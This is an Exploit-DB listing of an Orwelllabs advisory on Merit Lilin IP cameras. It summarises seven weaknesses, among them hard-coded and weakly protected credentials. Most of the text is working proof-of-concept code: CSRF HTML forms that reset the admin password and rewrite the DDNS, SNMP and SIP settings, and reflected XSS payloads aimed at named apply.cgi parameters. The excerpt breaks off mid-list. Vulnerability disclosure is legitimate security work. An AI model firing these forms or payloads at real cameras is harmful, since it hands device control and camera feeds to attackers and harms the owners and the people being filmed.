Exploit-DB #39746
Description: Merit Lilin IP Cameras - Multiple Vulnerabilities
Type: webapps
Platform: cgi
Date: 2016-04-29
Author: Orwelllabs

Exploit:
  _   _   _   _   _   _   _   _   _   _
 / \ / \ / \ / \ / \ / \ / \ / \ / \ / \
( 0 | R | W | 3 | L | L | L | 4 | 8 | 5 )
 \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/

     www.orwelllabs.com
                      securityadivisory
@orwelllabs
   ;)(r


By sitting in the alcove, and keeping well back,
Winston was able to remain outside the range of the telescreen...


* Adivisory Information
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
(+) Title: Merit Lilin IP Cameras Multiple Vulnerabilities
(+) Vendor: Merit Lilin Enterprise Co., Ltd.
(+) Research and Advisory: Orwelllabs
(+) Adivisory URL:
http://www.orwelllabs.com/2016/04/merit-lilin-ip-cameras-multiple_27.html
(+) OLSA-ID: OLSA-2016-04-28
(+) Affected Versions: L series products with firmware 1.4.36/1.2.02, OS
Version: Linux 2.6.38/Linux 2.6.32
(+) IoT Attack Surface: Device Administrative
Interface/Authentication/Authorization
(+) Owasp IoTTop10: I1, I2
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


* Adivisory Overview
--+---------------------------------------------+------+--------------------------------------------
id|         Vulnerability Title               | Rank |      Attack Surface
--+---------------------------------------------+------+--------------------------------------------
1 | Multiple Cross-site Request Forgery |  I1  | Insecure Web Interfaces
2 | Multiple Cross-site Scripting/HTML Injection|  I1  | Insecure Web
Interfaces
3 | Hard-coded credentials   |  I1  | Insecure Web Interfaces
4 | Cleartext sensitive data   |  I1  | Insecure Web Interfaces
5 | Weak Passwords/Known credentials       |  I1  | Insecure Web Interfaces
6 | Account lockout   |  I1  | Insecure Web Interfaces
7 | Poorly Protected Credentials     |  I2  | Insufficient
Authentication/Authorization
--+---------------------------------------------+------+--------------------------------------------


Vendor Background
=================
LILIN, is a global IP video manufacturer of IP video cameras, recording
devices, and software with over 30 years of experience.


1. Multiple Cross-site Request Forgery
======================================
Merit LILIN IP Cameras are prone to multiple cross-site request forgery
vulnerabilities.


(+) Technical Details and PoCs:
-------------------------------
# Basic >> System >> User

> Changing 'admin' password to 'w!nst0nSm!th'

<html>
  <!-- Orwelllabs - Merit Lilin IP Camera - CSRF PoC -->
  <body>
    <form action="
http://xxx.xxx.xxx.xxx/apply2.cgi?action=useredit&user_seq=1&user_account=admin&user_[CREDENTIAL_REDACTED]_priority=254&user_group=0
">
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>

# Basic >> Network >> DDNS
> change DDNS information (user/hostname/password)

<html>
  <!-- Orwelllabs - Merit Lilin IP Camera - CSRF PoC -->
  <body>
    <form action="
http://xxx.xxx.xxx.xxx/apply.cgi?action=ddns_apply&next_page=ddns.asp&ddns_type=0&ddns_flag=1&ddns_account=Winston&ddns_[CREDENTIAL_REDACTED]_hostname=smithwmachine&ddns_new_pwd=&ddns_wanip=
">
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


# SNMP
> change community/user/pass/pripass/v3rouser/etc.

<html>
  <!-- Orwelllabs - Merit Lilin IP Camera - CSRF PoC -->
  <body>
    <form action="
http://xxx.xxx.xxx.xxx/snmp?snmpenable=0&v12rwcommunity=public&v12rocommunity=private&v3user=admin&v3authpass=password&v3pripass=w!nst0nSm!th&v3rwuser=public&v3rouser=private
">
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>


# Basic >> Network >> SIP
> change sip_domain_server/sipreg_username/sipreg_password/sip_port=/etc.

<html>
  <!-- Orwelllabs - Merit Lilin IP Camera - CSRF PoC -->
  <body>
    <form action="
http://xxx.xxx.xxx.xxx/apply.cgi?action=sip_apply&next_page=sip.asp&voip_flag=1&sip_domain_server=lilintw.ddnsipcam.com&sipreg_username=admin&sipreg_[CREDENTIAL_REDACTED]_expires=0&sip_port=5060&audiortp_port=7078&videortp_port=9078
">
      <input type="submit" value="Submit form" />
    </form>
  </body>
</html>



2. Multiple Cross-site Scripting/HTML Injection
====================-==========================
Merit Lilin IP Cameras are prone to multiple cross-site scripting
vulnerabilities.

Technical Details and PoCs:
---------------------------

[SAMBA] Advance >> System >> SAMBA Service
------------------------------------------
%- Script: apply.cgi
%- affected parameters:

(+) action
(+) SambaRecordState
(+) SAMBA_OSD
(+) SAMBARecordOption2
(+) SAMBARecordFormat
(+) SAMBAPreRecordTime
(+) SAMBAServer
(+) SAMBAServerPort
(+) SAMBAServerAccount
(+) SAMBAServerPassword
(+) SAMBAServerDirectory

%- [ *** XSS *** ] Payload(1) used:
123%3Cimg%20src=%22x%20%22%20onerror=prompt%28%22Lilin_[CREDENTIAL_REDACTED]/%3E

%- URL: http://xxx.xxx.xxx.xxx/apply.cgi?action=[ *** XSS ***
]&SambaRecordState=[ *** XSS *** ]&SAMBA_OSD=[ *** XSS ***
]&SAMBARecordOption2=[ *** XSS *** ]&SAMBARecordFormat=[ *** XSS ***
]&SAMBAPreRecordTime=[ *** XSS *** ]&SAMBAServer=[ *** XSS ***
]&SAMBAServerPort=[ *** XSS *** ]&SAMBAServerAccount=[ *** XSS ***
]&SAMBAServerPassword=[ *** XSS *** ]&SAMBAServerDirectory=[ *** XSS *** ]


[General] -> Basic >> System >> General
---------------------------------------
- Affected script: apply.cgi
- affected parameters:

(+) action
(+) next_page
(+) SAMBAServerDirectory

%- [ *** XSS *** ] Payload(2) used:
%22%3E%3Cscript%3Ealert%281%29%3C/script%3E

%- URL http://xxx.xxx.xxx.xxx/apply.cgi?action=[ *** XSS *** ]&next_page=[
*** XSS ***
]&CAM_NAME=LR6122&ACTIVEX_OSD_NAME=LR6122&CAM_OSD=0&TIMER_OSD=0&ACTIVEX_OSD_ENABLE=0&ACTIVEX_MODE=0


[HTTP POST Service] -> Advance >> Event >> HTTP POST Service
------------------------------------------------------------
- Affected script: apply.cgi
- affected parameters:

(+) AM_HTTP_JPEG
(+) next_page*-*